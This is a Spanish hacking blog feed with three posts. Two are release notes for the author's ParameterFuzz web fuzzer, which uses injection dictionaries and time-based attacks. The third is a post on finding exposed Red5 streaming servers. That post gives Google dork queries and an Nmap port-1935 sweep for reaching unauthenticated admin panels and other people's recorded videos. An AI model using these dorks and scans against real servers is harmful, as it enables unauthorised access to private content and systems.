<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglpnZxIe48CL5pSd_wYVLAsyiJFeMoFzvnAmRf5KWgOJSXv3dNdK5O9X114tDiDzv8VCzFKoKI0z6Xkla8wzU4TnEIjPmhfGFJX1jkQvq93MUUWkWyk2OD96TgwwxRUvsc9iGfvCV4W4tr/s1600/ParameterFuzz%252B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglpnZxIe48CL5pSd_wYVLAsyiJFeMoFzvnAmRf5KWgOJSXv3dNdK5O9X114tDiDzv8VCzFKoKI0z6Xkla8wzU4TnEIjPmhfGFJX1jkQvq93MUUWkWyk2OD96TgwwxRUvsc9iGfvCV4W4tr/s640/ParameterFuzz%252B2.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para un buen funcionamiento de este
ejecutable, se necesita correr con privilegios de administrador, con lo que
sugiero que añadan el ejecutable de <b>ParameterFuzz.exe</b>,
a las aplicaciones bajo compatibilidad con nivel de ejecución Administrador.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Por otro lado, también he pensado
que sería buena idea incorporar un control de <b>errores HTTP </b>visibles desde los LOGs, basado en <i>strings HTML </i>para no solo diferenciar
posibles parámetros sino también, realizar Fuzzing de directorios y archivos.
Los diccionarios por defecto utilizados, seguirán siendo <i>Inyecciones.txt</i> y
<i>Parametros.txt</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp0cHtIfHL0jmWlNPvbGBiN6-rpRnsopIwwknBP4JFsSTSaARLPDE16KigoQv2kML1-qHFbHzUuk_1er8PmwQAEgwIn432xmZ2HYeryjlDvZmZhbAoRwevKst8PYgzDHm4Qye6Bj7JMtR-/s1600/ParameterFuzz%252B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp0cHtIfHL0jmWlNPvbGBiN6-rpRnsopIwwknBP4JFsSTSaARLPDE16KigoQv2kML1-qHFbHzUuk_1er8PmwQAEgwIn432xmZ2HYeryjlDvZmZhbAoRwevKst8PYgzDHm4Qye6Bj7JMtR-/s640/ParameterFuzz%252B3.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">A continuación dejo la descarga:<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="http://www.enelpc.com/search/label/ParameterFuzz">http://www.enelpc.com/search/label/ParameterFuzz</a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! =O</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com6tag:blogger.com,1999:blog-2707641124274171597.post-59880171839280944072012-10-15T00:02:00.000+02:002012-10-15T09:21:32.609+02:00Hack Streaming Servers<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tenía pensado salir a que me
diera el aire, o quizás a disfrutar del caluroso domingo,<i> ¡pero que cojones!, </i>si se ha nublado el día me quedo en casa, además
en esta época de crisis no solo de apretarnos la cartera se vive, también hay
que cuidarse, que afuera hoy aprieta el frío. Ya a mediados de Octubre se nos
olvidó la terracita, la cervecita, hasta las mozas tostadas por el sol que
tanto alegraban junto al mojito, aunque al mal tiempo buena cara, o eso dicen…
al menos podremos estar seguros de que la única pesadilla que se fue del verano,
han sido los mosquitos.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Hoy me toca hablaros de los
servidores de streaming, y siendo pícaros, nada menos que tener acceso al
directorio de grabaciones o vídeos emitidos en directo, mediante un descuido
del administrador de sistemas como caso típico.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La optativa gratuita más conocida
para montarnos un servidor dedicado de streaming de vídeo, es sin duda la de <b>Red5 Media Server</b>. La cual nos permite
mediante un panel de administración bastante cómodo, gestionar el tipo de
aplicaciones que correrán en nuestro servidor.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">En este momento entramos en
acción, gracias a </span><b style="font-family: 'Courier New', Courier, monospace;">Google Hacking</b><span style="font-family: 'Courier New', Courier, monospace;"> y
una búsqueda simple que me he montado.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://www.google.es/search?#q=inurl:"5080/installer/"">inurl:"5080/installer/"</a><o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Llegaremos a multitud de paneles
de administración, utilizando el puerto por defecto <b>5080</b>, donde podremos modificar a nuestro antojo sin necesidad de “bypassear”
ninguna autenticación, las aplicaciones instaladas en el servidor.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOJw8aAPD5c8txRGQBTRL-Qj0-56Vb0nQqJV5Wsywmcf5xHQhqLQmkiSRMWC5FaI7_IDS3tnen0YCc3VTIkLcG6XpZQuyBL9vHTEfWcPTk01Xs5jIUL4KaJ2WHBdjOoIojcNhjYpKOew5Z/s1600/Hack%252BStreaming%252BServers%252B1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOJw8aAPD5c8txRGQBTRL-Qj0-56Vb0nQqJV5Wsywmcf5xHQhqLQmkiSRMWC5FaI7_IDS3tnen0YCc3VTIkLcG6XpZQuyBL9vHTEfWcPTk01Xs5jIUL4KaJ2WHBdjOoIojcNhjYpKOew5Z/s640/Hack%252BStreaming%252BServers%252B1.png" width="640" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Pero sin duda la parte más
divertida, viene cuando la aplicación <b>oflaDemo</b>,
se encuentra instalada en algún servidor de los que encontraremos con la
siguiente búsqueda avanzada.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><span lang="EN-US"><a href="https://www.google.com/#q=ext:swf+inurl:ofla_demo">ext:swf inurl:ofla_demo</a></span><o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i>¿Qué hace exactamente <b>oflaDemo</b>?
¡Muy simple!</i> Es un navegador que ofrece gratuitamente <b>Red5</b>, para acceder al contenido de directorios utilizados en el streaming
de vídeo.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Si presionamos en cualquiera de
los enlaces que aparecen haciendo la anterior búsqueda, encontraremos la
siguiente aplicación.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEW_gqcxbEmuAoOXpurWgqks-6gXVjgAL5Eb-U5QdHhqtVDy3qLn1M9JpRb3tJhYUUF_s1Rwbg5LnyAs33jzZrZMl4YhCtc1rsPg_iEPV-zba7yvzyL90lt7A3f0ThUR2X0-2WIe_y6P00/s1600/Hack%252BStreaming%252BServers%252B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="444" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEW_gqcxbEmuAoOXpurWgqks-6gXVjgAL5Eb-U5QdHhqtVDy3qLn1M9JpRb3tJhYUUF_s1Rwbg5LnyAs33jzZrZMl4YhCtc1rsPg_iEPV-zba7yvzyL90lt7A3f0ThUR2X0-2WIe_y6P00/s640/Hack%252BStreaming%252BServers%252B2.png" width="640" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 11pt; font-weight: normal;">Como se observa arriba a la
derecha, podemos incluir de forma manual, la url bajo protocolo </span><span style="font-size: 11pt;">RTMP</span><span style="font-size: 11pt; font-weight: normal;"> (Real Time Messaging Protocol),
apuntando a la carpeta de streaming por defecto, “oflaDemo”. Encontraremos
casos como el siguiente.<o:p></o:p></span></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;"> </span></span></h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizAxMl6ow7pZzaWG5juwXsn5bgvG91f1yV48KGmfAXqUzGqalgzz4Iz-LH1rda9PmkjsPAvDA_StTgqDi70zkJuuLVvUL5o82QlwVJwsA8M6br6kUq_rP7yxy3lV-3kwvYAsYcPvOL7da9/s1600/Hack%252BStreaming%252BServers%252B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="540" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizAxMl6ow7pZzaWG5juwXsn5bgvG91f1yV48KGmfAXqUzGqalgzz4Iz-LH1rda9PmkjsPAvDA_StTgqDi70zkJuuLVvUL5o82QlwVJwsA8M6br6kUq_rP7yxy3lV-3kwvYAsYcPvOL7da9/s640/Hack%252BStreaming%252BServers%252B3.png" width="640" /></a></div>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;"> </span></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<i><span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;">¡Parece que no aprendió el truco del esparadrapo!<o:p></o:p></span></span></i></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<i><span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;"> </span></span></i></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 11pt; font-weight: normal;">Una forma más que entretenida
para dar con este tipo de servicios, es la de montarse un </span><span style="font-size: 11pt;">script</span><span style="font-size: 11pt; font-weight: normal;"> con </span><span style="font-size: 11pt;">Nmap</span><span style="font-size: 11pt; font-weight: normal;"> para hacer barridos de IPs, en
busca del puerto </span><span style="font-size: 11pt;">1935</span><span style="font-size: 11pt; font-weight: normal;">, el utilizado por
defecto para conexiones </span><span style="font-size: 11pt;">RTMP</span><span style="font-size: 11pt; font-weight: normal;">.<o:p></o:p></span></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;"> </span></span></h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOKvzrkxnhhlFUn5T_A3Yt1cOTBEUqnROME0-9UlbO0ZPwb6rKK0dPi79cTM9EZCmYkeDlNoGqNUfhNPxE4gp_ezPpTQauva3c5iStVKgiUMaOAOa00qE459lorBTrfm4NMa8cMVpusZ7Z/s1600/Hack%252BStreaming%252BServers%252B4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOKvzrkxnhhlFUn5T_A3Yt1cOTBEUqnROME0-9UlbO0ZPwb6rKK0dPi79cTM9EZCmYkeDlNoGqNUfhNPxE4gp_ezPpTQauva3c5iStVKgiUMaOAOa00qE459lorBTrfm4NMa8cMVpusZ7Z/s640/Hack%252BStreaming%252BServers%252B4.png" width="640" /></a></div>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;"> </span></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;">Dando un buen paseo,
encontraremos sitios como el siguiente, el cual nos permiten hacer un testeo de
las aplicaciones de Red5, yo diría un testeo más que completo, ya que además
dejan acceso para administrar el sitio sin esconder directorios como "<i>/installer/</i>".<o:p></o:p></span></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;"> </span></span></h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8k2H5xnhKStL-ZCz0yT7-rXG24XJmJH5KvGsib9AoqwxCykrMa0tj9H5p_azRXbqqeJJe0O4nqS4LiHF24pgNQBndCncoEoRbmK2aLy9n_meTgy9tBKCsdJVqd6o0ZThlrKO3pe3cQ6Vo/s1600/Hack%252BStreaming%252BServers%252B5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="382" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8k2H5xnhKStL-ZCz0yT7-rXG24XJmJH5KvGsib9AoqwxCykrMa0tj9H5p_azRXbqqeJJe0O4nqS4LiHF24pgNQBndCncoEoRbmK2aLy9n_meTgy9tBKCsdJVqd6o0ZThlrKO3pe3cQ6Vo/s640/Hack%252BStreaming%252BServers%252B5.png" width="640" /></a></div>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;"> </span></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 11pt; font-weight: normal;">Imagínense la cantidad de archivos
interesantes, que se encuentran detrás del </span><span style="font-size: 11pt;">1935<span style="font-weight: normal;"> </span>;)</span></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;"> </span></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 11pt; font-weight: normal;"><span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les!</span></span></h3>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com11tag:blogger.com,1999:blog-2707641124274171597.post-80254328813523540552012-10-10T00:04:00.000+02:002013-02-15T18:02:38.150+01:00ParameterFuzz v1.2.1<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i>¡Vengo con un regalo de
última hora!</i> supongo que no actualizaré durante un tiempo el proyecto, al menos
no daros la tabarra de </span><span style="font-family: 'Courier New', Courier, monospace;">forma tan continuada… :$</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Creo que está llegando a ser una aplicación bastante
estable, con lo que parece que ha cogido forma de ser el proyecto que tenía en
mente desde un principio. En estos últimos cambios, he querido que la
aplicación tenga un funcionamiento del todo controlado, esos detalles que se
pueden escapar, cuando en lo que realmente se centra un desarrollador es en
cumplir su objetivo… gracias a que no soy de los que saben programar, me he
permitido el intentar depurar los fallos que cometí.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b>---------------------</b></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b></b></span></div>
<div class="MsoNormal">
<span style="font-family: Courier New;"><b>[<span style="color: lime;">+</span>]Agregada una caja de texto, para introducir el tiempo en segundos, de las peticiones por tiempo.</b></span><br />
<span style="font-family: Courier New;"><b>[<span style="color: lime;">+</span>]Agregados controles de cerrado en la aplicación para evitar errores, cuando el "ataque por tiempo" está en funcionamiento.</b></span><br />
<span style="font-family: Courier New;"><b>[<span style="color: lime;">+</span>]Traducidas las etiquetas de ataques por tiempo.</b></span><br />
<b><span style="font-family: Courier New;">[</span><span style="color: lime; font-family: 'Courier New';">+</span><span style="font-family: Courier New;">]Corregidos bugs reportados de la versión anterior.</span><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-large;">!</span></b></div>
<b>
</b>
<div style="font-family: 'Courier New', Courier, monospace;">
</div>
<div style="font-family: 'Courier New', Courier, monospace;">
</div>
<b style="font-family: 'Courier New', Courier, monospace; text-align: justify;">---------------------</b><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para mejorar la experiencia del usuario, he agregado una
caja de texto con el fin de controlar las peticiones por tiempo en segundos, operando
con números enteros comprendidos entre el 1 y el 9. Si por error... agregan
otro carácter, automáticamente en la próxima petición, se modificará la caja de texto al valor de 4 (segundos),
que es el intervalo utilizado en la anterior versión.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihp0Xiy5_qv892YQiawcjezisBU02JUT5q-fNlE8Mirfb-id_mdlRByG-w-HihS32_0opwqBVgqEibDxD3-z4SoaE9u5DjL1d89PfryFhc6qdjf1Z6MvVfytB6hzH7Ll6JFyHGhFBMqrU7/s1600/ParameterFuzz%252Bv1.2.1%252B1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihp0Xiy5_qv892YQiawcjezisBU02JUT5q-fNlE8Mirfb-id_mdlRByG-w-HihS32_0opwqBVgqEibDxD3-z4SoaE9u5DjL1d89PfryFhc6qdjf1Z6MvVfytB6hzH7Ll6JFyHGhFBMqrU7/s640/ParameterFuzz%252Bv1.2.1%252B1.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En el caso de cerrar el formulario con las peticiones por tiempo en funcionamiento, he decidido incorporar un formulario de
aviso al usuario con el siguiente mensaje.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU1wowr-Yc2fR7drsVIqsrSmkO7jbBg9gjlohm4Lgp5XAssNRqYNA8rOHPXaqnzp928isIR5b00ldQcZYJYWBm-ZztarnM6DTrhqvXfwC7g26vs4kkqK_SLyaM2C9sAhs35CD6x_x9Tjob/s1600/ParameterFuzz%252Bv1.2.1%252B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU1wowr-Yc2fR7drsVIqsrSmkO7jbBg9gjlohm4Lgp5XAssNRqYNA8rOHPXaqnzp928isIR5b00ldQcZYJYWBm-ZztarnM6DTrhqvXfwC7g26vs4kkqK_SLyaM2C9sAhs35CD6x_x9Tjob/s640/ParameterFuzz%252Bv1.2.1%252B2.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Lo mismo ocurrirá si deseamos cambiar de método… si les
parece molesto<i> ¡A hacer las cosas como
Dios manda! ¡Leches! =</i>D<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Como podemos decir entre nosotros, que tenemos confianza que…
<i>¡soy un despistado!</i> He agregado el
puerto en el visualizador de peticiones tanto en GET como en POST.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMs2-aT4tc_JWtSrHIrmtQqk7KobSzLG7g6LKfbje93puyvN2U5XqxWlSBj7lue01gM-l2OThIAly-n7KJHLy5iFrJUZcExtjqG7se8RtIflkAqBVdmmT8MgcyqhrYhjSBhilnSZAcbhPA/s1600/ParameterFuzz%252Bv1.2.1%252B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMs2-aT4tc_JWtSrHIrmtQqk7KobSzLG7g6LKfbje93puyvN2U5XqxWlSBj7lue01gM-l2OThIAly-n7KJHLy5iFrJUZcExtjqG7se8RtIflkAqBVdmmT8MgcyqhrYhjSBhilnSZAcbhPA/s1600/ParameterFuzz%252Bv1.2.1%252B3.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Y que más les voy a contar… les recomiendo la actualización y
comenten, si quieren cuando prueben, que les ha parecido.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Descarga:<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="http://www.enelpc.com/search/label/ParameterFuzz">http://www.enelpc.com/search/label/ParameterFuzz</a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com4